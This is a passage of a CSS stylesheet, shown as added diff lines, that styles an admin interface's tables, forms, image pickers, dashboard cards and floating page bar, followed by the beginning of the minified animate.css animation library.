position: absolute; + left: 0; + top: 0; + bottom: 0; + right: 0; + background-size: cover; + background-position: center +} + +.ub-content .panel-b .bg { + filter: blur(1rem) +} + +.ub-content .panel-b .mask { + background: rgba(0, 0, 0, .5) +} + +.ub-content .panel-b .box { + position: relative; + text-align: left; + max-width: var(--container-width); + margin: 0 auto +} + +.ub-content .panel-b .box .c { + display: flex; + align-items: center +} + +.ub-content .panel-b .box .c .c1 { + width: 7rem; + flex-shrink: 0 +} + +.ub-content .panel-b .box .c .c1 .cover { + margin-bottom: 0; + border-radius: .5rem +} + +.ub-content .panel-b .box .c .c2 { + padding-left: 1rem +} + +.ub-content .panel-b .title { + font-size: 1.2rem +} + +.ub-content .panel-b .sub-title { + margin-top: .8rem; + font-size: var(--font-size-medium) +} + +.ub-content .panel-b .sub-title a { + color: #fff +} + +@media screen and (max-width:40rem) { + .ub-content .panel-a { + text-align: center + } + .ub-content .panel-b { + padding: 1rem + } + .ub-content .panel-b .box .c { + display: block; + text-align: center + } + .ub-content .panel-b .box .c .c1 { + width: auto + } + .ub-content .panel-b .box .c .c2 { + padding-left: 0; + margin-top: 1rem + } +} + +.ub-lister-bottom { + overflow: hidden; + text-align: left +} + +.ub-lister-bottom .right { + float: right +} + +.ub-lister-batch { + overflow: hidden; + position: relative +} + +.ub-lister-batch .text { + display: block; + margin: 0 .5rem .5rem 0; + float: left; + line-height: 28px +} + +.ub-lister-search .field-more-expand { + display: none +} + +.ub-lister-search .field-more-expand__active { + display: block +} + +.ub-lister-search .field { + display: inline-flex; + margin: 0 .5rem .5rem 0; + min-width: 9rem +} + +.ub-lister-search .field.auto { + min-width: auto +} + +.ub-lister-search .field.right { + float: right; + margin-right: 0 +} + +.ub-lister-search .field.full { + width: 100% +} + +.ub-lister-search .field .btn+.btn { + margin-left: .2rem +} + +.ub-lister-search .field .btn-group .btn+.btn { + margin: 0 +} + +.ub-lister-search .field .name { + display: inline-block; + vertical-align: top; + line-height: 1.5rem; + margin-right: .25rem; + min-width: 1.4rem +} + +.ub-lister-search .field .input { + display: inline-block; + vertical-align: middle; + flex-grow: 1 +} + +.ub-lister-search .field .input input[type=text] { + width: 100% +} + +.ub-lister-search .field .connector, +.ub-lister-search .field .unit { + display: inline-block; + color: #c4cfdb +} + +.ub-lister-search .field label { + border: .05rem solid #eee; + border-radius: .15rem; + padding: 0 .5rem; + line-height: 1.5rem; + height: 1.6rem; + vertical-align: middle; + background: #fff; + margin-bottom: 0 +} + +.ub-lister-search .field label input { + vertical-align: middle +} + +.ub-lister-search .field .el-checkbox { + margin-right: .5rem; + margin-bottom: 0 +} + +.ub-lister-search .field .el-checkbox:last-child { + margin-right: 0 +} + +.ub-lister-search .full { + overflow: hidden +} + +.ub-lister-search .more { + float: right +} + +.ub-lister-search .search { + clear: both +} + +.ub-lister-search .batch { + position: absolute; + right: .5rem; + bottom: .5rem +} + +.ub-lister-search .batch-tr { + position: absolute; + right: .5rem; + top: .5rem +} + +.ub-lister-table, +.ub-table { + --table-border-color: #EEE; + width: 100%; + border-collapse: separate; + border-spacing: 0; + text-align: left; + font-size: var(--font-size, .65rem); + border-radius: .25rem +} + +.ub-lister-table.mini, +.ub-table.mini { + font-size: 12px +} + +.ub-lister-table.mini>tbody>tr>td, +.ub-lister-table.mini>thead>tr>th, +.ub-lister-table.mini>tr>td, +.ub-table.mini>tbody>tr>td, +.ub-table.mini>thead>tr>th, +.ub-table.mini>tr>td { + font-size: 12px; + padding: .2rem +} + +.ub-lister-table.list>tbody>tr>td, +.ub-lister-table.list>thead>tr>th, +.ub-lister-table.list>tr>td, +.ub-table.list>tbody>tr>td, +.ub-table.list>thead>tr>th, +.ub-table.list>tr>td { + padding: 5px; + line-height: 1.2em +} + +.ub-lister-table.border, +.ub-table.border { + border: 1px solid var(--table-border-color) +} + +.ub-lister-table.border>:last-child>tr:last-child>td, +.ub-table.border>:last-child>tr:last-child>td { + border-bottom: none +} + +.ub-lister-table.border-all, +.ub-table.border-all { + border: 1px solid var(--table-border-color) +} + +.ub-lister-table.border-all>tbody>tr>td, +.ub-lister-table.border-all>thead>tr>th, +.ub-table.border-all>tbody>tr>td, +.ub-table.border-all>thead>tr>th { + border-bottom: 1px solid var(--table-border-color); + border-right: 1px solid var(--table-border-color) +} + +.ub-lister-table.border-all>:last-child>tr:last-child>td, +.ub-table.border-all>:last-child>tr:last-child>td { + border-bottom: none +} + +.ub-lister-table.head-dark>thead>tr>th, +.ub-table.head-dark>thead>tr>th { + background: #f5f7fa +} + +.ub-lister-table.hover>tbody>tr:hover>td:not(.no-hover), +.ub-table.hover>tbody>tr:hover>td:not(.no-hover) { + background: #f4f8fb +} + +.ub-lister-table>tbody>tr>td, +.ub-lister-table>tfoot>tr>td, +.ub-lister-table>thead>tr>th, +.ub-lister-table>tr>td, +.ub-table>tbody>tr>td, +.ub-table>tfoot>tr>td, +.ub-table>thead>tr>th, +.ub-table>tr>td { + padding: .5rem; + line-height: 20px +} + +.ub-lister-table>thead>tr, +.ub-table>thead>tr { + display: table-row +} + +.ub-lister-table>thead>tr>th, +.ub-table>thead>tr>th { + border-bottom: 2px solid var(--table-border-color); + color: var(--color-text) +} + +.ub-lister-table>tbody>tr, +.ub-table>tbody>tr { + display: table-row +} + +.ub-lister-table>tbody>tr.muted .muted-content, +.ub-table>tbody>tr.muted .muted-content { + opacity: .5 +} + +.ub-lister-table>tbody>tr.checked>td, +.ub-table>tbody>tr.checked>td { + background: #fed493 +} + +.ub-lister-table>tbody>tr.focus>td, +.ub-table>tbody>tr.focus>td { + background: #f4f8fb +} + +.ub-lister-table>tbody>tr.empty>td, +.ub-table>tbody>tr.empty>td { + text-align: center; + color: #c4cfdb; + line-height: 100px +} + +.ub-lister-table>tbody>tr .pointer, +.ub-lister-table>tbody>tr.pointer, +.ub-table>tbody>tr .pointer, +.ub-table>tbody>tr.pointer { + cursor: pointer +} + +.ub-lister-table>tbody>tr>td, +.ub-table>tbody>tr>td { + border-bottom: 1px solid var(--table-border-color); + font-size: var(--font-size, .65rem) +} + +.ub-lister-table .tag-group, +.ub-table .tag-group { + padding: 0 0 .5em 7em; + overflow: hidden; + font-size: 12px +} + +.ub-lister-table .tag-group .label, +.ub-table .tag-group .label { + float: left; + margin-left: -7em; + display: block; + width: 6em; + text-align: center +} + +.ub-lister-table .tag, +.ub-table .tag { + border: 1px solid #eee; + display: inline-block; + line-height: 20px; + border-radius: 3px; + padding: 0 3px; + background: #eee; + color: #666; + margin-right: 3px; + font-size: 12px; + white-space: nowrap +} + +.ub-lister-table .page, +.ub-table .page { + text-align: center +} + +.ub-lister-table .page .el-pagination, +.ub-table .page .el-pagination { + margin-top: .5rem +} + +.ub-lister-table .el-cell, +.ub-table .el-cell { + padding: 0 +} + +.ub-lister-table .el-cell .cell, +.ub-table .el-cell .cell { + padding: 5px .5rem +} + +.ub-lister-table .el-cell .cell .el-checkbox, +.ub-table .el-cell .cell .el-checkbox { + margin: 0 +} + +.ub-lister-table .el-header-cell, +.ub-table .el-header-cell { + padding: 0; + background: #f8f8f8 +} + +.ub-lister-table .el-header-cell .cell, +.ub-table .el-header-cell .cell { + padding: 5px .5rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-lister-table .el-checkbox, +.ub-table .el-checkbox { + margin-bottom: 0 +} + +.ub-lister-action { + display: inline-block; + margin-right: .5rem; + color: var(--color-link); + line-height: 26px; + cursor: pointer +} + +.ub-lister-action:last-child { + margin-right: 0 +} + +.ub-lister-action.clicked { + color: var(--color-link-light) +} + +.ub-lister-action:hover { + color: var(--color-link-light) +} + +.ub-lister-action.danger { + color: #f5222d +} + +.ub-lister-action.danger.clicked { + color: #fcb4b8 +} + +.ub-lister-action.danger:hover { + color: #79050b +} + +.ub-lister-action.disabled { + color: #c4cfdb +} + +.ub-lister-fix-foot-placeholder { + height: 53px +} + +.ub-lister-fix-foot { + position: fixed; + bottom: 0; + left: 0; + right: 0; + border-top: 1px solid #eee; + background: #fff; + padding: .5rem; + z-index: 1000; + overflow: hidden +} + +.ub-lister-fix-foot .right { + float: right +} + +.ub-form { + font-size: var(--font-size) +} + +.ub-form.view .line .field { + border-bottom: .05rem solid #eee; + min-height: 1.5rem +} + +.ub-form.vertical .line { + padding-left: 0; + padding-right: 0; + margin: 0 +} + +.ub-form.vertical .line .label { + float: none; + display: block; + text-align: left; + margin-left: 0; + width: 100% +} + +.ub-form.wide .line { + padding-left: 8rem +} + +.ub-form.wide .line .label { + width: 7.5rem; + margin-left: -7.5rem +} + +.ub-form.wide-lg .line { + padding-left: 12rem +} + +.ub-form.wide-lg .line .label { + width: 11.5rem; + margin-left: -11.5rem +} + +.ub-form .line { + padding: .25rem 1.5rem .25rem 5rem; + position: relative +} + +.ub-form .line.flat { + padding-left: 0 +} + +.ub-form .line.wide { + padding-left: 8rem +} + +.ub-form .line.wide .label { + width: 7.5rem; + margin-left: -7.5rem +} + +.ub-form .line .label { + display: block; + float: left; + text-align: right; + line-height: .7rem; + padding: .4rem .5rem .4rem 0; + margin: 0 0 0 -4.5rem; + width: 4.5rem; + overflow: hidden +} + +.ub-form .line .label.label-lg { + line-height: 2rem +} + +.ub-form .line .label span { + color: red; + display: inline-block; + line-height: .7rem; + font-size: .6rem +} + +.ub-form .line .field { + line-height: 1.5rem; + margin-left: 0; + min-height: 1.5rem +} + +.ub-form .line .field input[type=password], +.ub-form .line .field input[type=text] { + width: 100% +} + +.ub-form .line .field label { + padding: 0 .5rem !important; +} + +.ub-form .line .field .help { + color: var(--color-tertiary); + line-height: .9rem; + padding: .25rem 0; + font-size: .6rem +} + +.ub-form .line .field .help p { + margin: 0; + line-height: 1.5em +} + +.ub-form .line .field textarea { + line-height: 1.5em; + width: 100% +} + +.ub-form .line .field .row.no-gutters input[name=captcha] { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.ub-form .line .field .row.no-gutters .captcha { + border-top-left-radius: 0; + border-bottom-left-radius: 0; + border-left: 0 +} + +.ub-form .line .field .captcha { + height: 1.6rem; + width: 100%; + border: .05rem solid #ddd; + border-radius: .15rem; + cursor: pointer +} + +.ub-form .line .field .captcha.captcha-lg { + height: 2rem +} + +.ub-form .line .field .tag { + border: .05rem solid #eee; + display: inline-block; + line-height: 1rem; + border-radius: .15rem; + padding: 0 .15rem; + background: #eee; + color: #666; + margin-right: .15rem; + font-size: .6rem; + white-space: nowrap +} + +.ub-form.flat .line { + padding: .5rem +} + +.ub-form.flat .line .label { + float: none; + margin: 0; + width: 100%; + text-align: left; + line-height: inherit !important; + padding-bottom: .25rem +} + +@media (max-width:40rem) { + .ub-form .line, + .ub-form.wide .line, + .ub-form.wide-lg .line { + padding-left: .5rem; + padding-right: .5rem; + margin: 0 + } + .ub-form .line .label, + .ub-form.wide .line .label, + .ub-form.wide-lg .line .label { + float: none; + display: block; + text-align: left; + margin-left: 0; + width: 100% + } +} + +.ub-image-list .item { + margin-bottom: .75rem; + display: block +} + +.ub-image-list .item .cover { + position: relative; + overflow: hidden +} + +.ub-image-list .item .cover img { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + opacity: 0 +} + +.ub-image .cover { + position: relative; + overflow: hidden +} + +.ub-image .cover img { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + opacity: 0 +} + +.ub-image-selector { + position: relative; + width: 3rem; + height: 3rem; + box-shadow: 0 0 1px #ccc; + border-radius: .1rem; + display: inline-block; + vertical-align: middle +} + +.ub-image-selector:hover .tools { + display: block +} + +.ub-image-selector.has-value .tools .preview { + display: inline-block +} + +.ub-image-selector.has-value .tools .add { + display: none +} + +.ub-image-selector .cover, +.ub-images-selector .cover { + width: 100% +} + +.ub-image-selector .tools, +.ub-images-selector .tools { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + background: rgba(0, 0, 0, .5); + color: #fff; + border-radius: .1rem; + text-align: center; + padding: 1rem 0 0 0; + display: none +} + +.ub-image-selector .tools .action, +.ub-images-selector .tools .action { + color: #fff; + display: none; + line-height: 1rem; + width: 1rem; + height: 1rem; + vertical-align: top +} + +.ub-image-selector .tools .add, +.ub-images-selector .tools .add { + display: inline-block +} + +.ub-image-selector .tools .close, +.ub-images-selector .tools .close { + position: absolute; + top: .1rem; + right: .1rem; + width: .6rem; + height: .6rem; + line-height: .6rem; + text-align: center; + display: block +} + +.ub-images-selector { + overflow: hidden +} + +.ub-images-selector .item { + position: relative; + width: 3rem; + height: 3rem; + box-shadow: 0 0 1px #ccc; + border-radius: .1rem; + display: inline-block; + vertical-align: middle; + margin: .05rem .1rem .1rem .05rem +} + +.ub-images-selector .item.add { + line-height: 3rem; + text-align: center +} + +.ub-images-selector .item.add .action { + color: #c4cfdb; + font-size: 1rem +} + +.ub-images-selector .item:hover .tools { + display: block +} + +.ub-images-selector .item:hover .tools .action { + display: inline-block +} + +.ub-dashboard-item .title-gray { + color: var(--color-tertiary) +} + +.ub-dashboard-item .value-primary .number { + color: var(--color-primary); + font-size: var(--font-size-large) +} + +.ub-dashboard-item-a, +.ub-dashboard-item-b { + background: #fff; + border-radius: var(--size-radius, .25rem); + padding: .5rem 1rem .5rem 3.5rem; + transition: all .2s; + box-shadow: 0 4px 8px 2px rgba(132, 163, 246, .08); + display: block; + margin-bottom: .5rem +} + +.ub-dashboard-item-a:hover, +.ub-dashboard-item-b:hover { + box-shadow: 0 4px 8px 2px rgba(132, 163, 246, .2) +} + +.ub-dashboard-item-a .icon, +.ub-dashboard-item-b .icon { + float: left; + width: 2rem; + margin-left: -2.5rem; + margin-top: .5rem; + text-align: center; + height: 2rem; + line-height: 2rem; + color: var(--color-primary) +} + +.ub-dashboard-item-a .icon .font, +.ub-dashboard-item-b .icon .font { + font-size: 2rem +} + +.ub-dashboard-item-a .title, +.ub-dashboard-item-b .title { + font-size: var(--font-size, .65rem); + font-weight: 500; + color: var(--color-primary) +} + +.ub-dashboard-item-a .desc, +.ub-dashboard-item-b .desc { + padding: .25rem 0 0 0; + color: var(--color-tertiary); + font-size: var(--font-size-small, .6rem); + display: -webkit-box; + -webkit-box-orient: vertical; + -webkit-line-clamp: 2; + overflow: hidden +} + +.ub-dashboard-item-a .number-title, +.ub-dashboard-item-b .number-title { + font-size: var(--font-size, .65rem); + font-weight: 500; + color: var(--color-tertiary) +} + +.ub-dashboard-item-a .number-value, +.ub-dashboard-item-b .number-value { + color: var(--color-text); + font-size: 1.2rem; + line-height: 2rem +} + +.ub-dashboard-item-b { + text-align: right; + background: var(--color-primary) +} + +.ub-dashboard-item-b .icon { + color: #fff +} + +.ub-dashboard-item-b .number-value { + color: #fff +} + +.ub-dashboard-item-b .number-title { + color: #eee +} + +.ub-i18n-switch { + background: rgba(0, 0, 0, .5); + position: fixed; + top: 0; + right: 0; + left: 0; + bottom: 0; + overflow: auto; + display: none; + z-index: 10000 +} + +.ub-i18n-switch .dialog { + background: #fff; + max-width: 40rem; + margin: 15vh auto 0 auto; + border-radius: 5px; + box-shadow: 0 0 4px #c4cfdb; + position: relative +} + +.ub-i18n-switch .dialog .close { + display: block; + width: 1.5rem; + height: 1.5rem; + line-height: 1.5rem; + color: #c4cfdb; + background: #fff; + text-align: center; + position: absolute; + right: -.75rem; + top: -.75rem; + border-radius: 50%; + box-shadow: 0 0 3px #c4cfdb +} + +.ub-i18n-switch .dialog .head { + border-bottom: 1px solid #eee; + padding: .5rem +} + +.ub-i18n-switch .dialog .body { + padding: 1rem +} + +.ub-i18n-switch .dialog .body .languages .item { + display: block; + padding: .25rem .5rem .25rem 2rem; + line-height: 1rem +} + +.ub-i18n-switch .dialog .body .languages .item:hover .text { + color: var(--color-primary) +} + +.ub-i18n-switch .dialog .body .languages .item .icon { + display: block; + width: 1rem; + height: 1rem; + background: #fff no-repeat center; + background-size: contain; + margin: 0 0 0 -1.5rem; + float: left +} + +.ub-i18n-switch .dialog .body .languages .item .text { + display: block; + color: #333 +} + +.ub-bar-page { + position: fixed; + right: 1rem; + bottom: 2rem; + z-index: 10000; + background: #fff; + border-radius: .5rem; + box-shadow: 0 0 1rem #ddd +} + +.ub-bar-page.close { + right: 0; + bottom: 1rem +} + +.ub-bar-page.close .items { + display: none +} + +.ub-bar-page.close .item-top { + display: none +} + +.ub-bar-page.close .bar-page-close { + display: none +} + +.ub-bar-page.close .bar-page-show { + display: block +} + +.ub-bar-page .bar-page-show { + border: 1px solid var(--color-primary); + background-color: var(--color-content-bg); + color: var(--color-primary); + width: 24px; + border-radius: 5px 0 0 5px; + line-height: 18px; + text-align: center; + cursor: pointer; + font-size: 12px; + display: none +} + +.ub-bar-page .bar-page-close { + border: 1px solid var(--color-primary); + background-color: transparent; + position: absolute; + color: var(--color-primary); + width: 24px; + height: 24px; + border-radius: 50%; + line-height: 22px; + font-size: 16px; + text-align: center; + right: 22px; + bottom: -29px; + cursor: pointer; + display: block +} + +.ub-bar-page .items .item { + width: 3.5rem; + height: 3.5rem; + display: block; + color: var(--color-primary); + text-align: center; + padding: .5rem; + position: relative; + cursor: pointer; + transition: background-color .5s; + background: #fff +} + +.ub-bar-page .items .item:first-child { + border-top-left-radius: .5rem; + border-top-right-radius: .5rem +} + +.ub-bar-page .items .item:last-child { + border-bottom-left-radius: .5rem; + border-bottom-right-radius: .5rem +} + +.ub-bar-page .items .item:hover .popup { + display: block +} + +.ub-bar-page .items .item .popup { + position: absolute; + right: 3.5rem; + bottom: 0; + background: #fff; + border-radius: .5rem; + box-shadow: 0 0 .5rem #ddd; + width: 10rem; + min-height: 2rem; + padding: .5rem; + display: none +} + +.ub-bar-page .items .item .popup .content { + color: #333 +} + +.ub-bar-page .items .item .popup .content img { + width: 9rem +} + +.ub-bar-page .items .item:hover { + background: var(--color-primary-light-bg); + transition: background .5s +} + +.ub-bar-page .items .item.item-icon .icon { + line-height: 2rem; + height: 2rem +} + +.ub-bar-page .items .item .icon { + height: 1.5rem; + line-height: 1.5rem; + font-size: 1.5rem; + display: block +} + +.ub-bar-page .items .item .text { + height: .5rem; + line-height: .5rem; + display: block; + font-size: .5rem +} + +.ub-bar-page .item-top { + width: 3.5rem; + height: 3.5rem; + display: block; + background: 0 0; + cursor: pointer; + border: .1rem solid var(--color-primary); + border-radius: 50%; + position: absolute; + top: -4rem +} + +.ub-bar-page .item-top .cover { + width: 3.3rem; + height: 3.3rem; + border: 1px solid var(--color-primary); + border-radius: 50%; + animation: 3s ease-in-out 0s infinite avatarScaling +} + +.ub-bar-page .item-top .cover .avatar { + width: 100%; + height: 100%; + background-size: cover; + border-radius: 50% +} + +.ub-bar-page .item-top:hover .popup { + display: block +} + +.ub-bar-page .item-top .popup { + position: absolute; + right: 3.5rem; + top: 0; + background: #fff; + border-radius: .5rem; + box-shadow: 0 0 .5rem #ddd; + width: 10rem; + min-height: 2rem; + padding: .5rem; + display: none +} + +.ub-bar-page .item-top .popup .content { + color: #333 +} + +.ub-bar-page .item-top .popup .content img { + width: 9rem +} + +@keyframes avatarScaling { + 0% { + transform: scale(1) + } + 25% { + transform: scale(.8) + } + 50% { + transform: scale(1) + } + 75% { + transform: scale(.8) + } +} + +.ub-bar-page .item-back { + color: #999; + pointer-events: none +} + +html.body-scroll-far .ub-bar-page .item-back { + color: var(--color-primary); + pointer-events: all +} + +@media (max-width:40rem) { + .ub-bar-page { + bottom: 2rem; + width: 2rem + } + .ub-bar-page.close { + width: auto + } + .ub-bar-page .bar-page-close { + right: 9px + } + .ub-bar-page .items .item { + width: 2rem; + height: 2rem; + padding: .25rem 0 + } + .ub-bar-page .items .item .popup { + right: 2.25rem + } + .ub-bar-page .items .item .icon { + font-size: 1rem; + line-height: 1rem; + height: 1rem + } + .ub-bar-page .items .item .text { + font-size: .5rem + } + .ub-bar-page .items .item-icon { + padding: 0 + } + .ub-bar-page .item-top { + top: -2.5rem; + width: 2rem; + height: 2rem; + border-width: .1rem + } + .ub-bar-page .item-top .cover { + width: 1.8rem; + height: 1.8rem + } + .ub-bar-page .item-top .popup { + right: 2.25rem; + top: initial; + bottom: 0 + } +} + + +/*! * animate.css -https://daneden.github.io/animate.css/ * Version - 3.7.2 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2019 Daniel Eden - */@-webkit-keyframes bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes wobble{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{11.1%,from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) 